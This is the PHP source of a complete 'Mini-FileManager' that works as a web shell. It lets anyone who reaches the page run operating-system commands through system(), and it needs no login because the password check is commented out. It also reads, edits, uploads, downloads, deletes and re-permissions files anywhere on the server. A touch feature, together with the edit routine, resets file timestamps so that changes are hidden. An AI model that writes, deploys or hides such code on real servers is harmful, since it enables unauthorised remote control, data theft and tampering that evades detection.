[Back] [Home] [Zip] [Edit] [Touch] [Rename] [Delete] [Chmod][Download]<?php
error_reporting(0);
session_start();
define('password', 'admin');
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$head = '<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"/><title>Mini-FileManager</title><style>header>form{display:inline-block;margin-right:10px;}pre{border:1px solid #ddd;padding:5px;overflow:auto}table{border-collapse:collapse;width:100%;overflow:auto}th,td{padding:0.25rem;text-align:left;border-bottom:1px solid #ccc}tbody tr:nth-child(odd){background:#eee}form{display:block;margin-bottom:10px}input[name="destination"]{display:none;margin:0 10px;width:400px}tr:hover{background-color:#b4bad0!important;}a{text-decoration:none;}a.emoji-link{text-decoration:none;margin-right:5px;}span.copy-span{position:relative;cursor:pointer;}span.copy-span::after{content:attr(data-tooltip);position:absolute;top:30px;left:50px;transform:translateX(-50%);background:#000;color:#fff;padding:15px 15px;border-radius:3px;font-size:14px;opacity:0;pointer-events:none;z-index:100;}span.copy-span.copied::after{opacity:1;}</style></head>';
function has($obj) {
return isset($obj);
}
function dd($text) {
die($text);
}
function get_session($name) {
return has($_SESSION[$name]) ? $_SESSION[$name] : false;
}
function set_session($name, $val) {
$_SESSION[$name] = $val;
}
function get_post($name) {
return has($_POST[$name]) ? $_POST[$name] : false;
}
function get_get($name) {
return has($_GET[$name]) ? $_GET[$name] : false;
}
function makeInput($type, $name, $val = "", $style = "", $placeholder = "") {
if (in_array($type, ['text', 'password', 'submit', 'checkbox', 'file'])) {
return "<input type='$type' name='$name' value='$val' placeholder='$placeholder' style='$style'/>";
}
return "<$type style='$style'>$val</$type>";
}
function makeForm($method, $inputArray, $file = "") {
$form = "<form method=$method enctype='$file'>";
foreach ($inputArray as $key => $val) {
$form .= makeInput($key, (is_array($val) ? $val[0] : $val), (has($val[1]) ? $val[1] : ""), (has($val[2]) ? $val[2] : ""), (has($val[3]) ? $val[3] : ""));
}
return $form . "</form>";
}
function generateBreadcrumbs($path) {
$normalized_path = str_replace('\\', '/', realpath($path) ?: $path);
$normalized_path = preg_replace('#/+#', '/', $normalized_path);
$path_parts = explode('/', trim($normalized_path, '/'));
$display_separator = (PHP_OS_FAMILY === 'Windows') ? '\\' : '/';
$breadcrumbs = '';
$current_path = '';
if (PHP_OS_FAMILY === 'Windows' && preg_match('/^[A-Z]:/', $path_parts[0])) {
$disk = $path_parts[0];
$current_path = $path_parts[0] . '/';
$breadcrumbs = makeLink("?path=" . urlencode(base64_encode($current_path)), htmlspecialchars($disk)) . $display_separator;
array_shift($path_parts);
} else {
$breadcrumbs = makeLink("?path=/", "/");
$current_path = '/';
}
for ($i = 0; $i < count($path_parts); $i++) {
if (!empty($path_parts[$i])) {
$current_path .= $path_parts[$i] . (is_file($path) && $i == count($path_parts) - 1 ? '' : '/');
$breadcrumbs .= makeLink("?path=" . urlencode(base64_encode($current_path)), htmlspecialchars($path_parts[$i])) . $display_separator;
}
}
if (is_file($path)) {
$breadcrumbs = rtrim($breadcrumbs, $display_separator);
}
return '<div>' . $breadcrumbs . '</div>';
}
function makeTable($thead, $tbody) {
$head = "";
foreach ($thead as $th) {
$head .= "<th>$th</th>";
}
$body = "";
foreach ($tbody as $tr) {
$body .= "<tr>";
foreach ($tr as $td) {
$body .= "<td>$td</td>";
}
$body .= "</tr>";
}
$options = '
<option value=""></option>
<option value="archive">Archive</option>
<option value="copy">Copy</option>
<option value="delete">Delete</option>
<option value="move">Move</option>
<option value="chmod">Chmod</option>
';
$destination = realpath(__DIR__) ?: __DIR__;
return '<form method="POST"><table><thead>' . $head . '</thead><tbody>' . $body . '</tbody></table><select name="action">' . $options . '</select><input type="text" name="destination" value="' . htmlspecialchars($destination) . '" placeholder="Enter path or permissions (e.g., 0644)"><input type="submit" name="newAction" value="Submit"></form>';
}
function copy_item($source, $destination, $is_move = false) {
$source = realpath($source) ?: $source;
$destination = realpath($destination) ?: $destination;
if (is_dir($source)) {
$rel_path = str_replace(dirname($source), '', $source);
$target_dir = rtrim($destination, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . trim($rel_path, DIRECTORY_SEPARATOR);
if (!is_dir($target_dir)) {
mkdir($target_dir, 0755, true);
}
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
$target = $target_dir . DIRECTORY_SEPARATOR . $iterator->getSubPathName();
if (is_dir($item)) {
mkdir($target, 0755, true);
} else {
copy($item, $target);
}
}
if ($is_move) {
del_dir($source);
}
} else {
if (is_dir($destination)) {
$destination = rtrim($destination, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($source);
}
if (file_exists($destination)) {
if ($is_move) {
rename($source, $destination);
}
} else {
copy($source, $destination);
if ($is_move) {
unlink($source);
}
}
}
}
function create_zip($files) {
if (!is_array($files)) {
$files = [$files];
}
$path = '';
$archive_name = 'Archive_' . time() . '.zip';
if (count($files) == 1 && !is_dir($files[0])) {
$archive_name = pathinfo($files[0], PATHINFO_FILENAME) . '.zip';
$path = realpath(dirname($files[0])) ?: dirname($files[0]);
} else if (count($files) == 1 && is_dir($files[0])) {
$path = realpath(dirname($files[0])) ?: dirname($files[0]);
}
if (!is_writable($path)) {
print "Error: The directory $path is not writable.";
return false;
}
$zip = new ZipArchive();
if ($zip->open($path . DIRECTORY_SEPARATOR . $archive_name, ZipArchive::CREATE) === TRUE) {
foreach ($files as $file) {
$file = realpath($file) ?: $file;
if (is_dir($file)) {
$dir_contents = scandir($file);
foreach ($dir_contents as $content) {
if ($content != '.' && $content != '..') {
add_file_or_dir_to_zip($zip, $file, basename($file));
}
}
} else {
$zip->addFile($file, basename($file));
}
}
$zip->close();
return true;
} else {
return false;
}
}
function add_file_or_dir_to_zip($zip, $file, $local_name) {
$file = realpath($file) ?: $file;
if (is_dir($file)) {
$zip->addEmptyDir($local_name);
$dir_contents = scandir($file);
foreach ($dir_contents as $content) {
if ($content != '.' && $content != '..') {
add_file_or_dir_to_zip($zip, $file . DIRECTORY_SEPARATOR . $content, $local_name . DIRECTORY_SEPARATOR . $content);
}
}
} else {
$zip->addFile($file, $local_name);
}
}
function extract_zip($file) {
$file = realpath($file) ?: $file;
$zip = new ZipArchive();
if ($zip->open($file) === TRUE) {
$zip->extractTo(realpath(dirname($file)) ?: dirname($file));
$zip->close();
return true;
} else {
return false;
}
}
function view_archive_contents($archive_path) {
$archive_path = realpath($archive_path) ?: $archive_path;
$strFile = '';
$zip = new ZipArchive();
if ($zip->open($archive_path) === TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
$file_info = $zip->statIndex($i);
$file_name = $file_info['name'];
$file_size = $file_info['size'];
$is_dir = substr($file_name, -1) == '/';
$archive_contents[] = [
'name' => $file_name,
'size' => $is_dir ? '-' : filesize_convert($file_size),
'is_dir' => $is_dir
];
}
foreach ($archive_contents as $file) {
$size = $file['is_dir'] ? '' : " ($file[size] bytes)";
$strFile .= "* $file[name] $size\n";
}
$zip->close();
return $strFile;
} else {
return "Error: Unable to open the archive.";
}
}
function makeLink($link, $text, $target = "", $title = "", $class = "") {
return "<a href='$link' title='$title' class='$class' target='$target'>$text</a>";
}
function login() {
if (get_session('login')) {
return true;
}
if (!get_post('login')) {
return false;
}
if (get_post('pass') != password) {
return false;
}
set_session('login', true);
return true;
}
function get_path() {
$path = realpath(__DIR__) ?: __DIR__;
if (get_get('path')) {
$path = realpath(base64_decode(get_get('path'))) ?: base64_decode(get_get('path'));
}
return $path;
}
function filesize_convert($bytes) {
$label = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
for ($i = 0; $bytes >= 1024 && $i < (count($label) - 1); $bytes /= 1024, $i++);
return round($bytes, 2) . " " . $label[$i];
}
function fileTime($path) {
$path = realpath($path) ?: $path;
return date("H:i:s d-m-Y", filemtime($path));
}
function download_file($download) {
$download = realpath($download) ?: $download;
if (!is_file($download)) {
return false;
}
header('Content-Type: application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header('Content-disposition: attachment; filename="' . basename($download) . '"');
return readfile($download);
}
function delete_file($delete) {
$delete = realpath($delete) ?: $delete;
if (is_file($delete)) {
return unlink($delete);
}
if (is_dir($delete)) {
return del_dir($delete);
}
return false;
}
function edit_file($edit) {
$edit = realpath($edit) ?: $edit;
if (is_file($edit)) {
return makeForm('POST', [
'textarea' => ['edit', htmlentities(file_get_contents($edit)), 'width:100%;height:90%'],
'submit' => ['save', 'Save']
]);
}
return false;
}
function save_edit($path, $str) {
$path = realpath($path) ?: $path;
if (is_file($path)) {
$creationTime = filemtime($path);
$formattedTime = date('H:i:s d-m-Y', $creationTime);
file_put_contents($path, html_entity_decode($str));
return save_touch($path, $formattedTime);
}
return false;
}
function touch_fd($touch) {
$touch = realpath($touch) ?: $touch;
if (is_dir($touch) || is_file($touch)) {
return makeForm('POST', [
'p' => ['', 'Set checkbox to set time recursively'],
'text' => ['newtouch', fileTime($touch), '', 'HH:MM:SS DD-MM-YYYY'],
'checkbox' => ['recursive', 'true'],
'submit' => ['save', 'Touch']
]);
}
return false;
}
function save_touch($path, $newtouch, $recursive = false) {
$path = realpath($path) ?: $path;
if (is_dir($path) || is_file($path)) {
$newtouch = explode(' ', $newtouch);
if (count($newtouch) !== 2) {
return false;
}
$hms = explode(':', $newtouch[0]);
$mdy = explode('-', $newtouch[1]);
if (count($hms) !== 3 || count($mdy) !== 3) {
return false;
}
$timestamp = mktime($hms[0], $hms[1], $hms[2], $mdy[1], $mdy[0], $mdy[2]);
if ($timestamp === false) {
return false;
}
if (!touch($path, $timestamp)) {
return false;
}
if (is_dir($path) && $recursive !== false) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (!touch($item->getPathname(), $timestamp)) {
}
}
}
return true;
}
return false;
}
function rename_fd($rename) {
$rename = realpath($rename) ?: $rename;
if (is_dir($rename) || is_file($rename)) {
return makeForm('POST', [
'text' => ['newname', '', '', 'New Name'],
'submit' => ['save', 'Rename']
]);
}
return false;
}
function save_rename($path, $newname) {
$path = realpath($path) ?: $path;
if (is_dir($path) || is_file($path)) {
$newpath = rtrim(dirname($path), DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $newname;
rename($path, $newpath);
return true;
}
return false;
}
function chmod_fd($path) {
$path = realpath($path) ?: $path;
if (is_dir($path) || is_file($path)) {
$current_perms = substr(sprintf("%o", fileperms($path)), -4);
return makeForm('POST', [
'p' => ['', 'Set checkbox to set permissions recursively (for directories)'],
'text' => ['newperms', $current_perms, '', 'Permissions (e.g., 0644)'],
'checkbox' => ['recursive', 'true'],
'submit' => ['save', 'Chmod']
]);
}
return false;
}
function save_chmod($path, $perms, $recursive = false) {
$path = realpath($path) ?: $path;
if (is_dir($path) || is_file($path)) {
// Convert permissions from octal string (e.g., "0644") to integer
$perms = octdec($perms);
if (!chmod($path, $perms)) {
return false;
}
if (is_dir($path) && $recursive !== false) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (!chmod($item->getPathname(), $perms)) {
// Continue on failure to avoid stopping the loop
}
}
}
return true;
}
return false;
}
function view_file($path) {
$path = realpath($path) ?: $path;
if (is_file($path)) {
if (pathinfo($path, PATHINFO_EXTENSION) == 'zip') {
return view_archive_contents($path);
} else {
return htmlentities(file_get_contents($path));
}
}
return false;
}
function new_cmd($cmd) {
header("Content-Type: text/html");
echo makeForm('POST', [
'text' => ['cmd', '', '', 'Command line'],
'submit' => ['newcmd', 'Submit']
]) . " " . makeLink("?path=" . urlencode(base64_encode(get_path())), "Reload");
print "<pre>";
system($cmd, $result);
$result = explode("\n", $result);
foreach ($result as $res) {
print $res . "<br>";
}
print "</pre>";
}
function new_file($path, $name) {
$path = realpath($path) ?: $path;
$new_file = $path . DIRECTORY_SEPARATOR . $name;
if (!is_file($new_file)) {
file_put_contents($new_file, "");
return true;
}
return false;
}
function new_dir($path, $name) {
$path = realpath($path) ?: $path;
$new_dir = $path . DIRECTORY_SEPARATOR . $name;
if (!is_dir($new_dir)) {
mkdir($new_dir);
return true;
}
return false;
}
function upload_file($path, $file) {
$path = realpath($path) ?: $path;
$name = basename($file['name']);
$destination = $path . DIRECTORY_SEPARATOR . $name;
if (!is_file($destination)) {
if (move_uploaded_file($file["tmp_name"], $destination)) {
return true;
}
}
return false;
}
function get_back($path) {
$path = realpath($path) ?: $path;
if ($path == "" || $path == DIRECTORY_SEPARATOR) {
return $path;
}
return dirname($path);
}
function win_disk() {
if (PHP_OS_FAMILY !== "Windows") {
return "";
}
exec("wmic logicaldisk get caption", $c);
$ret = "";
foreach ($c as $d) {
if ($d != "Caption") {
$ret .= makeLink("?path=" . urlencode(base64_encode($d . DIRECTORY_SEPARATOR)), $d);
}
}
return $ret;
}
function isDomain($name) {
return preg_match('/^([a-z0-9][-a-z0-9]*\.)+[a-z]{2,}$/i', $name);
}
function get_dir() {
$path = get_path();
if (!is_dir($path)) {
return false;
}
$dirs = [];
$files = [];
$i = 0;
$iterator = new FilesystemIterator($path, FilesystemIterator::SKIP_DOTS);
foreach ($iterator as $file) {
$p = $file->getPathname();
if ($file->isDir()) {
$dirs[] = $file;
} else {
$files[] = $file;
}
}
usort($files, function ($a, $b) {
return strcmp($a->getFilename(), $b->getFilename());
});
usort($dirs, function ($a, $b) {
return strcmp($a->getFilename(), $b->getFilename());
});
$sortedFilesAndDirs = array_merge($dirs, $files);
$table_data = [];
foreach ($sortedFilesAndDirs as $file) {
$p = realpath($file->getPathname()) ?: $file->getPathname();
if ($file->isDir()) {
$s = '--';
$t = fileTime($p) . '<span id="copy-span-' . $i . '" class="copy-span" title="Copy" data-tooltip="Copy" onclick="copy_time(\'' . fileTime($p) . '\', \'copy-span-' . $i . '\')">📋</span>';
$l = makeLink("?path=" . urlencode(base64_encode($p)), $file->getFilename());
$perms = substr(sprintf("%o", $file->getPerms()), -4);
$owner = (function_exists('posix_getpwuid') ? posix_getpwuid($file->getOwner())['name'] : $file->getOwner());
$domain = isDomain($file->getFilename()) ? makeLink("https://{$file->getFilename()}", "🌐", "_blank", "Go to site") : '';
$controller =
makeLink("?zip=" . urlencode(base64_encode($p)), "🗜", "_blank", "Zip", "emoji-link") .
makeLink("?touch=" . urlencode(base64_encode($p)), "⏰", "_blank", "Touch", "emoji-link") .
makeLink("?rename=" . urlencode(base64_encode($p)), "✏", "_blank", "Rename", "emoji-link") .
makeLink("?delete=" . urlencode(base64_encode($p)), "🗑", "_blank", "Delete", "emoji-link") .
makeLink("?chmod=" . urlencode(base64_encode($p)), "🔒", "_blank", "Chmod", "emoji-link") .
$domain;
$td_check_box = '<input id="checkbox_' . $i . '" name="checkbox_action[]" type="checkbox" value="' . htmlspecialchars($p) . '">';
$table_data[] = [$td_check_box, '📁', $i, $l, $s, $t, $perms, $owner, $controller];
$i++;
} else {
if (file_exists($file) && is_readable($file)) {
$s = filesize_convert($file->getSize());
$t = fileTime($p) . '<span id="copy-span-' . $i . '" class="copy-span" title="Copy" data-tooltip="Copy" onclick="copy_time(\'' . fileTime($p) . '\', \'copy-span-' . $i . '\')">📋</span>';
$l = makeLink("?path=" . urlencode(base64_encode($p)), $file->getFilename());
$perms = substr(sprintf("%o", $file->getPerms()), -4);
$owner = (function_exists('posix_getpwuid') ? posix_getpwuid($file->getOwner())['name'] : $file->getOwner());
$controller = '';
if (pathinfo($p, PATHINFO_EXTENSION) == 'zip') {
$controller =
makeLink("?unzip=" . urlencode(base64_encode($p)), "🗄", "_blank", "UnZip", "emoji-link") .
makeLink("?touch=" . urlencode(base64_encode($p)), "⏰", "_blank", "Touch", "emoji-link") .
makeLink("?rename=" . urlencode(base64_encode($p)), "✏", "_blank", "Rename", "emoji-link") .
makeLink("?delete=" . urlencode(base64_encode($p)), "🗑", "_blank", "Delete", "emoji-link") .
makeLink("?download=" . urlencode(base64_encode($p)), "⬇", "_blank", "Download", "emoji-link") .
makeLink("?chmod=" . urlencode(base64_encode($p)), "🔒", "_blank", "Chmod", "emoji-link");
} else {
$controller =
makeLink("?zip=" . urlencode(base64_encode($p)), "🗜", "_blank", "Zip", "emoji-link") .
makeLink("?edit=" . urlencode(base64_encode($p)), "📝", "_blank", "Edit", "emoji-link") .
makeLink("?touch=" . urlencode(base64_encode($p)), "⏰", "_blank", "Touch", "emoji-link") .
makeLink("?rename=" . urlencode(base64_encode($p)), "✏", "_blank", "Rename", "emoji-link") .
makeLink("?delete=" . urlencode(base64_encode($p)), "🗑", "_blank", "Delete", "emoji-link") .
makeLink("?download=" . urlencode(base64_encode($p)), "⬇", "_blank", "Download", "emoji-link") .
makeLink("?chmod=" . urlencode(base64_encode($p)), "🔒", "_blank", "Chmod", "emoji-link");
}
$td_check_box = '<input id="checkbox_' . $i . '" name="checkbox_action[]" type="checkbox" value="' . htmlspecialchars($p) . '">';
$icon = '📄';
if (pathinfo($p, PATHINFO_EXTENSION) == 'zip') {
$icon = '🗜';
}
$table_data[] = [$td_check_box, $icon, $i, $l, $s, $t, $perms, $owner, $controller];
$i++;
}
}
}
$th_check_box = '<input id="checkbox_all" type="checkbox" value="all" onchange="checkAll(this)">';
return makeTable([$th_check_box, '#', 'id', 'Filename', 'Size', 'Modified', 'Perms', 'Owner', 'Controls'], $table_data);
}
function del_dir($dir) {
$dir = realpath($dir) ?: $dir;
$d = opendir($dir);
while (($entry = readdir($d)) !== false) {
if ($entry != "." && $entry != "..") {
$entry_path = $dir . DIRECTORY_SEPARATOR . $entry;
if (is_dir($entry_path)) {
del_dir($entry_path);
} else {
unlink($entry_path);
}
}
}
closedir($d);
rmdir($dir);
return true;
}
// $loginTemplate = makeForm('POST', ['p' => ['', ''], 'password' => ['pass', ''], 'submit' => ['login', 'Login']]);
// if (!login()) {
// dd($loginTemplate);
// }
if (get_get('zip')) {
if (create_zip(base64_decode(get_get('zip')))) {
dd('Archive created');
} else {
dd('Archive not created');
}
}
if (get_get("unzip")) {
if (extract_zip(base64_decode(get_get("unzip")))) {
dd(basename(base64_decode(get_get("unzip"))) . ' unpacked');
} else {
dd(basename(base64_decode(get_get("unzip"))) . ' no unpacked');
}
}
if (get_get("delete")) {
if (delete_file(base64_decode(get_get("delete")))) {
dd(basename(base64_decode(get_get("delete"))) . ' deleted');
} else {
dd(basename(base64_decode(get_get("delete"))) . ' resource not found or not deleted');
}
}
if (get_get("edit")) {
if (get_post('save')) {
save_edit(base64_decode(get_get('edit')), get_post('edit'));
echo "Saved";
}
$edit = edit_file(base64_decode(get_get("edit")));
$edit ? dd($edit) : dd("File not found");
}
if (get_get("rename")) {
if (get_post('save')) {
save_rename(base64_decode(get_get('rename')), get_post('newname'));
echo "Renamed";
return false;
}
$rename = rename_fd(base64_decode(get_get("rename")));
$rename ? dd($rename) : dd("File or Dir not found");
}
if (get_get("touch")) {
if (get_post('save')) {
save_touch(base64_decode(get_get('touch')), get_post('newtouch'), get_post('recursive'));
echo "Touched";
return false;
}
$touch = touch_fd(base64_decode(get_get("touch")));
$touch ? dd($touch) : dd("File or Dir not found");
}
if (get_get("chmod")) {
if (get_post('save')) {
if (save_chmod(base64_decode(get_get('chmod')), get_post('newperms'), get_post('recursive'))) {
echo "Permissions changed";
} else {
echo "Failed to change permissions";
}
return false;
}
$chmod = chmod_fd(base64_decode(get_get("chmod")));
$chmod ? dd($chmod) : dd("File or Dir not found");
}
if (get_get('download')) {
@readfile(download_file(base64_decode(get_get('download'))));
exit();
}
if (get_post('cmd')) {
new_cmd(get_post('cmd'));
dd('');
}
if (get_post('newfile')) {
new_file(get_path(), get_post('filename')) ? print('Create: ' . get_post('filename')) : print('File exists');
}
if (get_post('newdir')) {
new_dir(get_path(), get_post('dirname')) ? print('Create: ' . get_post('dirname')) : print('Dir exists');
}
if (get_post('upload')) {
upload_file(get_path(), $_FILES['file']) ? print('upload: ' . $_FILES['file']['name']) : print('Upload Error');
}
if (get_post('newAction')) {
if (get_post('action') == 'archive') {
if (create_zip(get_post('checkbox_action'))) {
print 'Archive created';
} else {
print 'Archive not created';
}
} else if (get_post('action') == 'delete') {
$arr = get_post('checkbox_action');
for ($i = 0; $i < count($arr); $i++) {
delete_file($arr[$i]);
}
print 'Action completed.';
} else if (get_post('action') == 'copy') {
$cnt = 0;
$arr = get_post('checkbox_action');
for ($i = 0; $i < count($arr); $i++) {
if (!copy_item($arr[$i], get_post('destination'))) {
$cnt++;
}
}
if (!$cnt) {
print 'Item copied successfully';
} else {
print 'Failed to copy ' . $cnt . ' item(s).';
}
} else if (get_post('action') == 'move') {
$cnt = 0;
$arr = get_post('checkbox_action');
for ($i = 0; $i < count($arr); $i++) {
if (!copy_item($arr[$i], get_post('destination'), true)) {
$cnt++;
}
}
if (!$cnt) {
print 'Item moved successfully';
} else {
print 'Failed to move ' . $cnt . ' item(s).';
}
} else if (get_post('action') == 'chmod') {
$cnt = 0;
$arr = get_post('checkbox_action');
for ($i = 0; $i < count($arr); $i++) {
if (!save_chmod($arr[$i], get_post('destination'), true)) {
$cnt++;
}
}
if (!$cnt) {
print 'Permissions changed successfully';
} else {
print 'Failed to change permissions for ' . $cnt . ' item(s).';
}
}
}
echo $head .
'<body><header>' .
makeForm('POST', ['text' => ['cmd', '', '', 'Command line'], 'submit' => ['newcmd', 'Submit']]) .
makeForm('POST', ['text' => ['filename', '', '', 'File Name'], 'submit' => ['newfile', 'Create']]) .
makeForm('POST', ['text' => ['dirname', '', '', 'Dir Name'], 'submit' => ['newdir', 'Create']]) .
makeForm('POST', ['file' => 'file', 'submit' => ['upload', 'Upload']], 'multipart/form-data') .
'</header>' .
generateBreadcrumbs(get_path()) .
makeLink("?path=" . urlencode(base64_encode(get_back(get_path()))), "[Back] ") .
makeLink("?path=" . urlencode(base64_encode(getcwd())), "[Home] ") .
(PHP_OS_FAMILY == "Windows" ? win_disk() : "") .
(is_dir(get_path()) ? get_dir() :
makeLink("?zip=" . urlencode(base64_encode(get_path())), "[Zip] ", "_blank") .
makeLink("?edit=" . urlencode(base64_encode(get_path())), "[Edit] ", "_blank") .
makeLink("?touch=" . urlencode(base64_encode(get_path())), "[Touch] ", "_blank") .
makeLink("?rename=" . urlencode(base64_encode(get_path())), "[Rename] ", "_blank") .
makeLink("?delete=" . urlencode(base64_encode(get_path())), "[Delete] ", "_blank") .
makeLink("?chmod=" . urlencode(base64_encode(get_path())), "[Chmod]", "_blank") .
(is_file(get_path()) ? makeLink("?download=" . urlencode(base64_encode(get_path())), "[Download]", "_blank") : '') .
'<pre>' . view_file(get_path()) . '</pre>') .
'<script type="text/javascript">function copy_time(t,e){navigator.clipboard.writeText(t).then(()=>{let t=document.getElementById(e);t.setAttribute("data-tooltip","Copied"),t.classList.add("copied"),setTimeout(()=>{t.setAttribute("data-tooltip","Copy"),t.classList.remove("copied")},2e3)},()=>{let t=document.getElementById(e);t.setAttribute("data-tooltip","Copy failed"),t.classList.add("copied"),setTimeout(()=>{t.setAttribute("data-tooltip","Copy"),t.classList.remove("copied")},2e3)})}function checkAll(el){if (el.checked) {for (var i = 0; i < document.querySelectorAll("table td > input").length;i++) {document.querySelectorAll("table td > input")[i].checked = true;}} else {for (var i = 0; i < document.querySelectorAll("table td > input").length;i++) {document.querySelectorAll("table td > input")[i].checked = false;}}};document.querySelectorAll("select option").forEach(function(e, i) {e.onclick = function() {if (this.value == "copy" || this.value == "move" || this.value == "chmod") {document.querySelector("input[name=destination]").style.display = "inline";} else {document.querySelector("input[name=destination]").style.display = "none";}}});</script></body></html>';